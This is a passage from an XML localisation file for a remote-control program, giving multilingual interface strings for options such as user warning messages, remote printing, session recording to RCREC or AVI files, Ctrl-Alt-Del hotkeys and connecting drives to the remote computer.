<de>Grafikbeschleunigung nutzen</de>
<fr>Utiliser l'accélération d'affichage</fr>
<it>Utilizza acceleratore video</it>
<ru>Использовать графический ускоритель</ru>
<ja>ディスプレイ アクセラレータを使用する</ja>
<zh>用户显示加速器</zh>
<ko>디스플레이 액셀러레이터 사용</ko>
<hu>Gyorsabb megjelenítés használata</hu>
<pt-br>Usar acelerador gráfico</pt-br>
<nl>Display-accelerator gebruiken</nl>
<en-gb>Use display accelerator</en-gb>
</msg>
<msg name="EnableUserNotification">
<en>Display a warning message during Remote Control:</en>
<de>Warnfenster während der Fernsteuerung anzeigen:</de>
<es>Mostrar un mensaje de aviso durante el Control remoto:</es>
<fr>Afficher une message d'avertissement durant le Contrôle à Distance:</fr>
<it>Visualizza un messaggio di avviso durante il controllo remoto:</it>
<ru>Показывать предупреждающее сообщение в течение сеанса удаленного управления:</ru>
<ja>リモート制御中、警告メッセージを表示する :</ja>
<zh>在远程控制过程中显示警告消息:</zh>
<ko>원격 제어 중에 경고 메시지 표시:</ko>
<en-gb>Display a warning message during Remote Control:</en-gb>
<hu>Figyelmeztető üzenet megjelenítése a Távvezérlés alatt:</hu>
<pt-br>Exibir uma mensagem de aviso durante o uso do Remote Control:</pt-br>
<nl>Waarschuwingsmelding weergeven tijdens besturing op afstand:</nl>
</msg>
<msg name="EnableUserNotificationExplain">
<en>Disabling this option requires a special license file.</en>
<de>Die Nutzung der Funktion zur Unterdrückung der Warnanzeige erfordert eine spezielle Lizenzdatei.</de>
<es>Deshabilitar esta opción requiere un archivo de licencia especial.</es>
<fr>Désactivé cette option requiert une license spéciale.</fr>
<it>La disattivazione di questa opzione richiede un file di licenza speciale.</it>
<ru>Для отключения этой возможности требуется специальный лицензионный файл.</ru>
<ja>このオプションを無効にするには特別なライセンス ファイルが必要です。</ja>
<zh>禁用此选项需要特殊的许可证文件。</zh>
<ko>이 옵션을 사용하지 않으려면 특수 라이센스 파일이 필요합니다.</ko>
<en-gb>Disabling this option requires a special licence file.</en-gb>
<hu>Ennek a lehetőségnek a kikapcsolása speciális licenszfájlt igényel.</hu>
<pt-br>Desabilitar esta opção requer um arquivo de licença especial.</pt-br>
<nl>Als u deze optie wilt uitschakelen, is hiervoor een speciaal licentiebestand vereist.</nl>
</msg>
<msg name="RemotePrint">
<en>Remote Printing</en>
<de>Remote-Drucken</de>
<es>Impresión remota</es>
<fr>Impression à Distance</fr>
<it>Stampa remota</it>
<ru>Удаленная печать</ru>
<ja>リモート印刷</ja>
<zh>远程打印</zh>
<ko>원격 인쇄</ko>
<en-gb>Remote Printing</en-gb>
<hu>Távnyomtatás</hu>
<pt-br>Impressão remota</pt-br>
<nl>Afdrukken op afstand</nl>
</msg>
<msg name="RemotePrintOn">
<en>Enable remote printing:</en>
<de>Remote-Drucken aktivieren:</de>
<es>Habilitar impresión remota:</es>
<fr>Activer l'impression à distance</fr>
<it>Attiva stampa remota:</it>
<ru>Включить удаленную печать:</ru>
<ja>リモート印刷を有効にする :</ja>
<zh>启用远程打印:</zh>
<ko>원격 인쇄 사용:</ko>
<en-gb>Enable remote printing:</en-gb>
<hu>Távnyomtatás engedélyezése:</hu>
<pt-br>Habilitar impressão remota:</pt-br>
<nl>Afdrukken op afstand inschakelen:</nl>
</msg>
<msg name="FullCtrlBypassUsrPerm">
<en>Full Control (and Remote Control D) access rights bypass interactive user's permission:</en>
<de>Volle Kontrolle ( und Berechtigungsoption D)  - Berechtigungen des interaktiven Benutzers umgehen:</de>
<es>Los derechos de acceso de Control total (y Control remoto D) deja de lado el permiso del usuario interactivo:</es>
<fr>Les droits d' Accès Complet (et Contrôle à Distance D) surpassent les droits de l'utilisateur interactif:</fr>
<it>I diritti di accesso Controllo completo (e Controllo remoto E) sono prioritari rispetto all'autorizzazione dell'utente interattivo:</it>
<ru>Права полного доступа (и удаленного управления У) позволяют обойти разрешение интерактивного пользователя:</ru>
<ja>フル コントロール (およびリモート コントロール D) アクセス権をインタラクティブ ユーザの権限に優先させる :</ja>
<zh>完全控制(和删除远程控制)访问权限不包含交互式用户的权限:</zh>
<ko>모든 권한(및 원격 제어 D) 액세스 권한은 대화형 사용자의 권한을 무시합니다:</ko>
<en-gb>Full Control (and Remote Control D) access rights bypass interactive user's permission:</en-gb>
<hu>Teljes vezérlés (és D Távvezérlés) hozzáférési jogosultságok felülbírálják az interaktív felhasználó jogosultságait:</hu>
<pt-br>Os direitos de acesso de controle total (e controle remoto D) ignoram a permissão do usuário:</pt-br>
<nl>Geen toestemming van interactieve gebruiker vereist in geval van toegangsrechten met volledige controle (en in Remote Control D):</nl>
</msg>
<msg brand="LMI" name="FullCtrlBypassUsrPerm">
<en>Remote user has Full Control access rights to host computer</en>
<es>El usuario remoto tiene derechos de acceso de Control total al ordenador host</es>
<de>Remotebenutzer hat volle Kontrolle über Hostcomputer</de>
<fr>L'utilisateur distant a les droits d'accès à distance complets sur l'ordinateur hôte</fr>
<it>L'utente remoto dispone di diritti di accesso con controllo completo al computer host</it>
<ru>У удаленного пользователя имеются права полного доступа к хост-компьютеру</ru>
<ja>リモート ユーザはホスト コンピュータへのフル コントロールのアクセス権を保持する</ja>
<zh>远程用户具有主机计算机的完全控制访问权</zh>
<ko>원격 사용자는 호스트 컴퓨터에의 모든 제어 액세스 권한을 가지고 있음</ko>
<hu>A távoli felhasználó teljes körű vezérlési jogosultsággal rendelkezik a gazdaszámítógépen</hu>
<pt-br>O usuário remoto tem direitos de acesso de Controle total ao computador host</pt-br>
<nl>Externe gebruiker heeft toegangsrechten tot de hostcomputer met volledige controle</nl>
<en-gb>Remote user has Full Control access rights to host computer</en-gb>
</msg>
<msg name="CtrlAltDelHotkey">
<en>Control-Alt-Del Hotkey:</en>
<de>Ersatztastenkombination für Strg-Alt-Entf:</de>
<es>Teclas de acceso rápido Ctrl-Alt-Supr:</es>
<fr>Combinaison de touches "Control-Alt-Del":</fr>
<it>Combinazione di tasti Ctrl-Alt-Canc:</it>
<ru>Горячие клавиши Control-Alt-Del:</ru>
<ja>Control-Alt-Del ホットキー :</ja>
<zh>Ctrl-Alt-Del 热键:</zh>
<ko>Ctrl-Alt-Del 바로 가기 키:</ko>
<en-gb>Control-Alt-Del Hotkey:</en-gb>
<hu>Control-Alt-Del gyorsbillentyű:</hu>
<pt-br>Hotkey Control-Alt-Del:</pt-br>
<nl>Sneltoets voor Ctrl+Alt+Del:</nl>
</msg>
<msg brand="LMI" name="CtrlAltDelHotkey">
<en>Control-Alt-Del hotkey combination:</en>
<es>Combinación de teclas de acceso rápido Ctrl-Alt-Supr:</es>
<de>Tastenkombination Strg+Alt+Entf:</de>
<fr>Raccourci clavier Ctrl+Alt+Suppr :</fr>
<it>Combinazione di tasti Control-Alt-Canc:</it>
<ru>Сочетание клавиш Control-Alt-Del:</ru>
<ja>Ctrl+Alt+Del のホットキーの組み合わせ : </ja>
<zh>Control-Alt-Del 热键组合:</zh>
<ko>Ctrl-Alt-Del 바로 가기 키 조합:</ko>
<hu>Control-Alt-Del gyorsbillentyű-kombináció:</hu>
<pt-br>Combinação de hotkey Control-Alt-Del:</pt-br>
<nl>Sneltoetscombinatie Ctrl+Alt+Del:</nl>
<en-gb>Control-Alt-Del hotkey combination:</en-gb>
</msg>
<msg name="CtrlAltIns">
<en>Control-Alt-Insert</en>
<de>Strg-Alt-Einfg</de>
<es>Ctrl-Alt-Ins</es>
<fr>Control-Alt-Insert</fr>
<it>Ctrl-Alt-Ins</it>
<ru>Control-Alt-Insert</ru>
<ja>Control-Alt-Insert</ja>
<zh>Ctrl-Alt-Insert</zh>
<ko>Ctrl-Alt-Insert</ko>
<en-gb>Control-Alt-Insert</en-gb>
<hu>Control-Alt-Insert</hu>
<pt-br>Control-Alt-Insert</pt-br>
<nl>Ctrl-Alt-Insert</nl>
</msg>
<msg name="CtrlAltF12">
<en>Control-Alt-F12</en>
<de>Strg-Alt-F12</de>
<es>Ctrl-Alt-F12</es>
<fr>Control-Alt-F12</fr>
<it>Ctrl-Alt-F12</it>
<ru>Control-Alt-F12</ru>
<ja>Control-Alt-F12</ja>
<zh>Ctrl-Alt-F12</zh>
<ko>Ctrl-Alt-F12</ko>
<en-gb>Control-Alt-F12</en-gb>
<hu>Control-Alt-F12</hu>
<pt-br>Control-Alt-F12</pt-br>
<nl>Ctrl-Alt-F12</nl>
</msg>
<msg name="CtrlAltF1">
<en>Control-Alt-F1</en>
<de>Strg-Alt-F1</de>
<es>Ctrl-Alt-F1</es>
<fr>Control-Alt-F1</fr>
<it>Ctrl-Alt-F1</it>
<ru>Control-Alt-F1</ru>
<ja>Control-Alt-F1</ja>
<zh>Ctrl-Alt-F1</zh>
<ko>Ctrl-Alt-F1</ko>
<en-gb>Control-Alt-F1</en-gb>
<hu>Control-Alt-F1</hu>
<pt-br>Control-Alt-F1</pt-br>
<nl>Ctrl-Alt-F1</nl>
</msg>
<msg name="PCMacKeyMap">
<en>PC to Mac keyboard mapping:</en>
<de>PC auf Mac Tastenzuordnung:</de>
<es>Correspondencia de teclados de PC y Mac:</es>
<fr>Mappage clavier PC vers Mac :</fr>
<it>Mappatura della tastiera da PC a Mac:</it>
<ru>преобразование раскладки клавиатуры PC в Mac: </ru>
<ja>PC キーボードに対応する Mac キーボード キー</ja>
<ko>PC와 Mac 키보드 매핑:</ko>
<zh>PC 与 Mac 之间的键盘对应关系:</zh>
<hu>Billentyűzet-átváltás PC-ről Mac-re:</hu>
<pt-br>Mapeamento do teclado do PC para o Mac:</pt-br>
<nl>Toewijzing van toetsen van pc- aan Mac-toetsenbord:</nl>
</msg>
<msg name="AltToAlt">
<en>Alt=Alt, Windows=Command</en>
<de>Alt=Alt, Windows=Command</de>
<es>Alt=Alt, Windows=Comando</es>
<fr>Alt=Alt, Windows=Commande</fr>
<it>Alt=Alt, Windows=Comando</it>
<ru>Alt=Alt, Windows=Command</ru>
<ja>Alt キー &gt; Alt キー, Windows キー &gt; Command キー</ja>
<ko>Alt=Alt, Windows=명령</ko>
<zh>Alt=Alt, Windows=Command</zh>
<hu>Alt=Alt, Windows=Parancs</hu>
<pt-br>Alt=Alt, Windows=Comando</pt-br>
<nl>Alt=Alt, Windows=Command</nl>
</msg>
<msg name="AltToCmd">
<en>Alt=Command, Windows=Alt</en>
<de>Alt=Command, Windows=Alt</de>
<es>Alt=Comando, Windows=Alt</es>
<fr>Alt=Commande, Windows=Alt</fr>
<it>Alt=Comando, Windows=Alt</it>
<ru>Alt=Command, Windows=Alt</ru>
<ja>Alt キー &gt; Command キー, Windows キー &gt; Alt キー</ja>
<ko>Alt=명령, Windows=Alt</ko>
<zh>Alt=Command, Windows=Alt</zh>
<hu>Alt=Parancs, Windows=Alt</hu>
<pt-br>Alt=Comando, Windows=Alt</pt-br>
<nl>Alt=Command, Windows=Alt</nl>
</msg>
<msg name="ScreenRecording">
<en>Remote Control Session Recording</en>
<de>Aufzeichnung der Sitzung während der Fernsteuerung</de>
<es>Grabación de la sesión de control remoto</es>
<fr>Enregistrement de la Session de Conrôle à Distance</fr>
<it>Registrazione sessione di Controllo remoto</it>
<ru>Запись сеанса удаленного управления</ru>
<ja>リモート制御セッションの記録</ja>
<zh>远程控制会话录制</zh>
<ko>원격 제어 세션 기록</ko>
<en-gb>Remote Control Session Recording</en-gb>
<hu>Távvezérlési munkamenet rögzítése</hu>
<pt-br>Gravação da sessão do Remote Control</pt-br>
<nl>Opname van sessie voor besturing op afstand</nl>
</msg>
<msg name="ScreenRecordingReq">
<en>Session Recording creates an RCREC file during remote control sessions. 
You can use the "aviconvert" command-line parameter to %PRODUCTNAME and convert
these files to a standard video file that will play in any media player with
the appropriate codecs installed.</en>
<de>Bei der Aufzeichnung der Sitzung während der Fernsteuerung wird eine RCREC Datei erzeugt. Sie können den Kommandozeilenparameter "aviconvert" in %PRODUCTNAME verwenden, um diese Dateien in standard Videodateien zu konvertieren, die in jedem Mediaplayer mit den entsprechenden Codecs abgespielt werden können.</de>
<es>Grabación de la sesión crea un archivo RCREC durante la sesión de control remoto. 
Puede utilizar el parámetro de línea de comandos "aviconvert" para %PRODUCTNAME y convertir
estos archivos en un archivo de vídeo estándar reproducible en cualquier reproductor que tenga
los códecs apropiados instalados.</es>
<fr>L'enregistrement de session crée un fichier RCREC durant les sessions de contrôle à distance.
Vous pouvez utiliser les paramètres de la ligne de commande de "aviconvert" de %PRODUCTNAME et convertir
ces fichiers en fichier vidéo standard qui pourront être visionnés dans n'importe quel lecteur de médias avec
les codecs appropriés installés.</fr>
<it>Registrazione sessione crea un file RCREC durante le sessioni di controllo remoto. 
È possibile utilizzare il parametro "aviconvert" della riga di comando in %PRODUCTNAME e convertire i file in un file video standard eseguibile in qualsiasi lettore multimediale con i codec appropriati installati.</it>
<ru>Функция записи сеансов создает файл RCREC во время сеансов удаленного доступа. 
%PRODUCTNAME с помощью параметра командной строки "aviconvert" позволяет преобразовать такие файлы в стандартные видеофайлы, которые можно просматривать на любом универсальном проигрывателе, если установлены соответствующие кодеки.</ru>
<ja>セッションの記録により、リモート制御セッションの間に RCREC ファイルが作成されます。%PRODUCTNAME に対し、「AVI 変換」コマンド ライン パラメータを使用して、インストール済みの適切なコードにより、これらのファイルを任意のメディア プレイヤーで再生できる標準ビデオ ファイルに変換することができます。</ja>
<zh>会话录制将在远程控制会话过程中创建 RCREC 文件。您可以将“aviconvert”命令行参数用于 %PRODUCTNAME,将这些文件转换为标准视频文件,以便在任何安装了相应编码解码器的媒体播放器上进行播放。</zh>
<ko>세션 기록은 원격 제어 세션 중에 RCREC 파일을 만듭니다. "aviconvert" 명령줄 매개 변수를 %PRODUCTNAME에 사용한 후 설치된 코덱으로 해당 파일을 미디어 플레이어에서 재생할 표준 비디오 파일로 변환할 수 있습니다.</ko>
<en-gb>Session Recording creates an RCREC file during remote control sessions. 
You can use the "aviconvert" command-line parameter in %PRODUCTNAME and convert these files to a standard video file that will play in any media player with the appropriate codecs installed.</en-gb>
<hu>A munkamenet rögzítése egy RCREC fájlt hoz létre a távvezérlési munkamenetek során. 
Az "aviconvert" parancssori paraméterrel a %PRODUCTNAME ezeket a fájlokat 
szabványos videofájllá konvertálja, amely bármely médialejátszón lejátszható,
amelyhez telepítve vannak a megfelelő kodekek.</hu>
<pt-br>A gravação da sessão cria um arquivo RCREC durante as sessões do controle remoto. 
Você pode usar o parâmetro "aviconvert" da linha de comando para o %PRODUCTNAME e converter
estes arquivos para um arquivo de vídeo padrão que será reproduzido em qualquer player de mídia com
os codecs apropriados instalados.</pt-br>
<nl>Met de opname van de sessie wordt een RCREC-bestand gemaakt tijdens de sessies voor besturing op afstand. U kunt in %PRODUCTNAME de parameter "aviconvert" voor de opdrachtregel gebruiken en deze bestanden converteren naar een standaardvideobestand dat u kunt afspelen in elke mediaspeler als de overeenkomstige videocodecs zijn geïnstalleerd.</nl>
</msg>
<msg name="ScreenRecordingOn">
<en>Enable Session Recording:</en>
<de>Session Recording aktivieren:</de>
<es>Habilitar grabación de la sesión</es>
<fr>Activé l'Enregistrement de Session</fr>
<it>Attiva Registrazione sessione:</it>
<ru>Включить запись сеансов:</ru>
<ja>セッション記録を有効にする :</ja>
<zh>启用会话录制:</zh>
<ko>세션 기록 사용:</ko>
<en-gb>Enable Session Recording:</en-gb>
<hu>Munkamenet rögzítésének engedélyezése:</hu>
<pt-br>Habilitar gravação da sessão:</pt-br>
<nl>Opname van sessie inschakelen:</nl>
</msg>
<msg brand="LMI" name="ScreenRecordingOn">
<en>Record remote control sessions</en>
<es>Grabar el contenido de las pantallas de sesiones de control remoto</es>
<de>Bildschirminhalt von Fernsteuerungssitzungen aufnehmen</de>
<fr>Enregistrer le contenu de l'écran des sessions de contrôle à distance</fr>
<it>Registra contenuto schermate delle sessioni di controllo remoto</it>
<ru>Записывать содержимое экрана во время сеансов удаленного управления</ru>
<ja>リモート制御セッションの画面の内容を記録する</ja>
<zh>记录远程控制会话的屏幕内容</zh>
<ko>원격 제어 세션의 화면 컨텐츠 기록</ko>
<hu>Távvezérlési munkamenet képernyőtartalmának rögzítése</hu>
<pt-br>Gravar conteúdo de tela das sessões do Controle remoto</pt-br>
<nl>Scherminhoud van sessies op afstand opnemen</nl>
<en-gb>Record remote control sessions</en-gb>
</msg>
<msg name="AutoConvertAVI">
<en>Automatically convert to .AVI format:</en>
<de>Automatisch in .AVI-Format konvertieren:</de>
<es>Convertir automáticamente a formato .AVI:</es>
<fr>Conversion automatique au format .AVI :</fr>
<it>Converti automaticamente nel formato .AVI:</it>
<ru>Автоматически преобразовать в формат .AVI:</ru>
<ja>自動的に .AVI フォーマットに変換する:</ja>
<zh>自动转换为 .AVI 格式:</zh>
<ko>.AVI 형식으로 자동 변환:</ko>
<hu>Automatikus konvertálás .AVI formátumba:</hu>
<pt-br>Convertido para o formato AVI automaticamente:</pt-br>
<nl>Automatisch converteren naar AVI-indeling:</nl>
</msg>
<msg brand="LMI" name="AutoConvertAVI">
<en>Video format:</en>
<es>Formato de vídeo:</es>
<de>Videoformat:</de>
<fr>Format vidéo :</fr>
<it>Formato video:</it>
<ru>Формат видео:</ru>
<ja>動画の形式 : </ja>
<zh>视频格式:</zh>
<ko>비디오 포맷:</ko>
<hu>Videoformátum:</hu>
<pt-br>Formato de vídeo:</pt-br>
<nl>Videoformaat:</nl>
<en-gb>Video format:</en-gb>
</msg>
<msg name="FormatRCREC">
<en>RCREC</en>
<es>RCREC</es>
<de>RCREC</de>
<fr>RCREC</fr>
<it>RCREC</it>
<ru>RCREC</ru>
<ja>RCREC</ja>
<zh>RCREC</zh>
<ko>RCREC</ko>
<en-gb>RCREC</en-gb>
<hu>RCREC</hu>
<pt-br>RCREC</pt-br>
<nl>RCREC</nl>
</msg>
<msg name="FormatAVI">
<en>AVI</en>
<es>AVI</es>
<de>AVI</de>
<fr>AVI</fr>
<it>AVI</it>
<ru>AVI</ru>
<ja>AVI</ja>
<zh>AVI</zh>
<ko>AVI</ko>
<en-gb>AVI</en-gb>
<hu>AVI</hu>
<pt-br>AVI</pt-br>
<nl>AVI</nl>
</msg>
<msg name="ScreenRecordingDirectory">
<en>Location for Output Video Files:</en>
<de>Speicherort für Videodateien:</de>
<es>Ubicación de los archivos de vídeo de salida:</es>
<fr>Destination pour les Fichiers Vidéos</fr>
<it>Percorso per file video di output:</it>
<ru>Местонахождение выходных видеофайлов:</ru>
<ja>出力ビデオ ファイルの配置場所 :</ja>
<zh>输出视频文件的位置:</zh>
<ko>출력 비디오 파일 위치:</ko>
<en-gb>Location for Output Video Files:</en-gb>
<hu>A videofájlok mentési helye:</hu>
<pt-br>Localização dos arquivos de vídeo de saída:</pt-br>
<nl>Locatie voor opslaan van videobestanden:</nl>
</msg>
<msg brand="LMI" name="ScreenRecordingDirectory">
<en>Location of video files:</en>
<es>Ubicación de los archivos de vídeo:</es>
<de>Speicherort der Videodateien:</de>
<fr>Emplacement des fichiers vidéo :</fr>
<it>Percorso dei file video:</it>
<ru>Расположение видеофайлов:</ru>
<ja>動画ファイルの場所 : </ja>
<zh>视频文件的位置:</zh>
<ko>비디오 파일 위치:</ko>
<hu>Videofájlok helye:</hu>
<pt-br>Local dos arquivos de vídeo:</pt-br>
<nl>Locatie van videobestanden:</nl>
<en-gb>Location of video files:</en-gb>
</msg>
<msg name="ScreenRecordingDirectoryExplain">
<en>Leave blank to use the installation directory</en>
<de>Lassen sie das Feld leer, um das Installationsverzeichnis zu verwenden</de>
<es>Dejar en blanco para utilizar el directorio de instalación</es>
<fr>Laissez vide pour utiliser le répertoire d'installation par défaut</fr>
<it>Lasciare vuoto per utilizzare la directory di installazione</it>
<ru>Оставьте пустым, чтобы использовать каталог установки</ru>
<ja>インストール ディレクトリを使用する場合は、空欄のままにします。</ja>
<zh>保留为空白以使用安装目录</zh>
<ko>설치 디렉터리를 사용하려면 비워 두십시오</ko>
<en-gb>Leave blank to use the installation directory</en-gb>
<hu>Ha üresen hagyja, akkor a telepítési könyvtárba fogja menteni</hu>
<pt-br>Deixar em branco para usar o diretório de instalação</pt-br>
<nl>Vul in dit veld niets in als u de bestanden in de installatiemap wilt opslaan</nl>
</msg>
<msg name="ScreenRecordingSize">
<en>Maximum Total Size of Output Video Files:</en>
<de>Maximale Gesamtgröße der Videodateien:</de>
<es>Tamaño total máximo para archivos de vídeo de salida:</es>
<fr>Taille totale maximum pour les fichiers vidéos:</fr>
<it>Dimensione totale massima dei file video di output:</it>
<ru>Максимальный общий размер выходных видеофайлов:</ru>
<ja>出力ビデオ ファイルの最大合計サイズ :</ja>
<zh>输出视频文件总大小的最大值:</zh>
<ko>출력 비디오 파일의 최대 전체 크기:</ko>
<en-gb>Maximum Total Size of Output Video Files:</en-gb>
<hu>A mentett videofájlok teljes, maximális mérete:</hu>
<pt-br>Tamanho total máximo para arquivos de vídeo de saída:</pt-br>
<nl>Maximale totale grootte voor opgeslagen videobestanden:</nl>
</msg>
<msg brand="LMI" name="ScreenRecordingSize">
<en>Delete old files if folder size exceeds:</en>
<es>Eliminar archivos antiguos si se excede el tamaño de la carpeta:</es>
<de>Alte Dateien löschen, wenn Ordner größer als:</de>
<fr>Supprimer les anciens fichiers si la taille du dossier dépasse :</fr>
<it>Elimina i file meno recenti se le dimensioni della cartella superano:</it>
<ru>Удалять старые файлы, если размер папки превышает:</ru>
<ja>フォルダ サイズを超えた場合は古いファイルを削除する : </ja>
<zh>文件夹大小超过以下限制时删除旧文件:</zh>
<ko>폴더 크기가 초과할 경우 이전 파일 삭제:</ko>
<hu>Régi fájlok törlése, ha a mappa mérete nagyobb, mint</hu>
<pt-br>Excluir arquivos antigos se o tamanho da pasta exceder:</pt-br>
<nl>Oude bestanden wissen bij een mapgrootte groter dan:</nl>
<en-gb>Delete old files if folder size exceeds:</en-gb>
</msg>
<msg name="ScreenRecordingSizeExplain">
<en>Megabytes. Set to zero to never delete recorded sessions.</en>
<de>Megabyte. Geben Sie 0 ein, um aufgezeichnete Sitzungen nie zu löschen.</de>
<es>Megabytes. Establecer en cero y no borrar nunca las sesiones grabadas.</es>
<fr>MegaOctets. Définir la valeur zéro pour ne jamais effacer les sessions enregistrées</fr>
<it>MB. Impostare su zero per non eliminare mai le sessioni registrate.</it>
<ru>Мегабайты. Установите нуль, чтобы никогда не удалять записанные сеансы.</ru>
<ja>MB。記録済みのセッションを決して削除しないように、ゼロに設定します。</ja>
<zh>MB。设置为零表示始终不会删除已录制的会话。</zh>
<ko>메가바이트. 기록된 세션을 삭제하지 않으려면 0으로 설정합니다.</ko>
<en-gb>Megabytes. Set to zero to never delete recorded sessions.</en-gb>
<hu>Megabájt. Állítsa ezt nullára, hogy soha ne törölje a rögzített munkameneteket.</hu>
<pt-br>Megabytes. Defina como zero para nunca excluir sessões gravadas.</pt-br>
<nl>Megabyte. Geef hier nul op als u opgenomen sessies nooit wilt verwijderen.</nl>
</msg>
<msg name="ConnectingDrives">
<en>Connecting Drives</en>
<de>Laufwerke verbinden</de>
<es>Conexión de unidades</es>
<fr>Connexion des lecteurs</fr>
<it>Connessione di unità</it>
<ru>Подключение дисководов</ru>
<ja>ドライブの接続</ja>
<zh>连接驱动器</zh>
<ko>드라이브 연결 중</ko>
<hu>Meghajtók csatlakoztatása</hu>
<pt-br>Conectando unidades</pt-br>
<nl>Schijfstations koppelen</nl>
</msg>
<msg name="EnableConnectingDrives">
<en>Enable connecting drives:</en>
<de>Verbinden der Laufwerke aktivieren:</de>
<es>Activar la conexión de unidades:</es>
<fr>Activer la connexion des lecteurs :</fr>
<it>Attiva connessione di unità:</it>
<ru>Разрешить подключение дисков:</ru>
<ja>ドライブの接続を可能にする:</ja>
<zh>启用连接驱动器:</zh>
<ko>연결 드라이브 사용:</ko>
<hu>Meghajtók csatlakoztatásának engedélyezése:</hu>
<pt-br>Habilitar conexão de unidades:</pt-br>
<nl>Koppelen van schijfstations inschakelen:</nl>
</msg>
<msg name="PreferredDriveLetter">
<en>Preferred drive letter of connected drives on the remote computer (this or the first subsequent free drive letter will be used):</en>
<de>Bevorzugter Laufwerksbuchstabe der angeschlossenen Laufwerke auf dem Ferncomputer (dieser oder der erste darauf folgende freie Laufwerksbuchstabe wird verwendet):</de>
<es>Letra de la unidad preferida de las que se encuentran conectadas en el ordenador remoto (se utilizará esta letra o la letra de la siguiente unidad libre):</es>
<fr>Lettre de lecteur préférée des lecteurs connectés à l'ordinateur à distance (celle-ci et la première lettre de lecteur suivante disponible seront utilisées) :</fr>
<it>Lettera preferita per unità connesse al computer remoto (verrà utilizzata questa o la prima lettera libera successiva):</it>
<ru>Предпочтительная буква диска при подключении дисков на удаленном компьютере (будет использована эта или следующая за ней незанятая буква диска):</ru>
<ja>リモート コンピュータに接続されたドライブのドライブ文字 (この文字か、最初のフリー ドライブ文字が使用されます):</ja>
<zh>远程计算机上连接的驱动器的首选驱动器号(将使用这个或后续第一个未被占用的驱动器号):</zh>
<ko>원격 컴퓨터에서 연결된 드라이브에 대해 선호되는 드라이브 문자(또는 이 문자 다음에 나오는 첫 번째 드라이브 문자가 사용됨):</ko>
<hu>Előnyben részesített meghajtó-betűjel a csatlakoztatott meghajtókhoz a távoli számítógépen (a program ezt, vagy az első szabad meghajtó-betűjelet fogja használni)</hu>
<pt-br>Letra de unidade preferida das unidades conectadas no computador remoto (esta ou as cinco letras de unidade subseqüentes serão usadas):</pt-br>
<nl>Voorkeur voor stationsletter van gekoppelde stations op de externe computer (deze letter of de eerstvolgende beschikbare stationsletter zal worden gebruikt):</nl>
</msg>
<msg name="AllowConnectLocalDrives">
<en>Allow connecting local hard drives to the remote computer:</en>
<de>Das Verbinden lokaler Festplattenlaufwerke mit dem Ferncomputer zulassen:</de>
<es>Permitir conexión de los discos duros locales al ordenador remoto:</es>
<fr>Autoriser la connexion de disques durs locaux à l'ordinateur à distance :</fr>
<it>Consenti la connessione delle unità disco rigido locali al computer remoto:</it>
<ru>Разрешить подключение локальных жестких дисков к удаленному компьютеру:</ru>
<ja>リモート コンピュータへのローカル ハードドライブ接続を許可する:</ja>
<zh>允许将本地硬盘驱动器连接到远程计算机:</zh>
<ko>로컬 하드 드라이브와 원격 컴퓨터 연결 허용:</ko>
<hu>Helyi merevlemezek csatlakoztatásának engedélyezése a távoli számítógéphez:</hu>
<pt-br>Permitir conexão com unidades de disco rígido locais ao computador remoto:</pt-br>
<nl>Koppelen van lokale harde schijven aan de externe computer toestaan:</nl>
</msg>
<msg name="AllowConnectRemovableDrives">
<en>Allow connecting removable drives to the remote computer:</en>
<de>Das Verbinden von Wechsellaufwerken mit dem Ferncomputer zulassen:</de>
<es>Permitir conexión de las unidades extraíbles al ordenador remoto:</es>
<fr>Autoriser la connexion de lecteurs amovibles à l'ordinateur à distance :</fr>
<it>Consenti la connessione delle unità rimovibili al computer remoto:</it>
<ru>Разрешить подключение съемных дисков к удаленному компьютеру:</ru>
<ja>リモート コンピュータへのリムーバブル ドライブ接続を許可する:</ja>
<zh>允许将可移动驱动器连接到远程计算机:</zh>
<ko>이동식 드라이브와 원격 컴퓨터 연결 허용:</ko>
<hu>Cserélhető meghajtók csatlakoztatásának engedélyezése a távoli számítógéphez:</hu>
<pt-br>Permitir conexão com unidades de disco removíveis ao computador remoto:</pt-br>
<nl>Koppelen van verwisselbare harde schijven aan de externe computer toestaan:</nl>
</msg>
<msg name="AllowConnectNetworkDrives">
<en>Allow connecting network drives to the remote computer:</en>
<de>Das Verbinden von Netzwerklaufwerken mit dem Ferncomputer zulassen:</de>
<es>Permitir conexión de las unidades de red al ordenador remoto:</es>
<fr>Autoriser la connexion de lecteurs réseau à l'ordinateur à distance :</fr>
<it>Consenti la connessione delle unità di rete al computer remoto:</it>
<ru>Разрешить подключение сетевых дисков к удаленному компьютеру:</ru>
<ja>リモート コンピュータへのネットワーク ドライブ接続を許可する:</ja>
<zh>允许将网络驱动器连接到远程计算机:</zh>
<ko>네트워크 드라이브와 원격 컴퓨터 연결 허용:</ko>
<hu>Cserélhető meghajtók csatlakoztatásának engedélyezése a távoli számítógéphez:</hu>
<pt-br>Permitir conexão com unidades de disco de rede ao computador remoto:</pt-br>
<nl>Koppelen van netwerkstations aan de externe computer toestaan:</nl>
</msg>
<msg name="DirFormatOfConnectedDrives">
<en>Set directory format of connected drives on the remote computer:</en>
<de>Das Verzeichnisformat verbundener Laufwerke auf dem Ferncomputer festlegen:</de>
<es>Establecer formato de directorio de las unidades conectadas en el ordenador remoto:</es>
<fr>Définir le format de répertoire des lecteurs connectés à l'ordinateur à distance :</fr>
<it>Imposta il formato di directory delle unità connesse al computer remoto:</it>
<ru>Установить формат каталога подключаемых дисков удаленного компьютера:</ru>
<ja>リモート コンピュータに接続されたドライブのディレクトリ フォーマットを設定する:</ja>
<zh>设置远程计算机上连接的驱动器的目录格式:</zh>
<ko>원격 컴퓨터에서 연결된 드라이브의 디렉토리 형식 설정:</ko>
<hu>Könyvtárformátum beállítása a távoli számítógépen levő csatlakoztatott meghajtókhoz:</hu>
<pt-br>Definir formato do diretório de unidades conectadas no computador remoto:</pt-br>
<nl>Mapindeling op gekoppelde schijfstations op externe computer instellen:</nl>
</msg>
<msg name="DirFormatDescriptionFirst">
<en>Description first</en>
<de>Beschreibung zuerst</de>
<es>Descripción primero</es>
<fr>Description en premier</fr>
<it>Prima descrizione</it>
<ru>Сначала описание</ru>
<ja>説明を最初に置く</ja>
<zh>首先是描述</zh>
<ko>설명 우선</ko>
<hu>Előbb a leírást</hu>
<pt-br>Descrição primeiro</pt-br>
<nl>Beschrijving eerst</nl>
</msg>
<msg name="DirFormatDriveLetterFirst">
<en>Drive letter first</en>
<de>Laufwerksbuchstabe zuerst</de>
<es>Letra de la unidad primero</es>
<fr>Lettre de lecteur en premier</fr>
<it>Prima lettera di unità</it>
<ru>Сначала буква диска</ru>
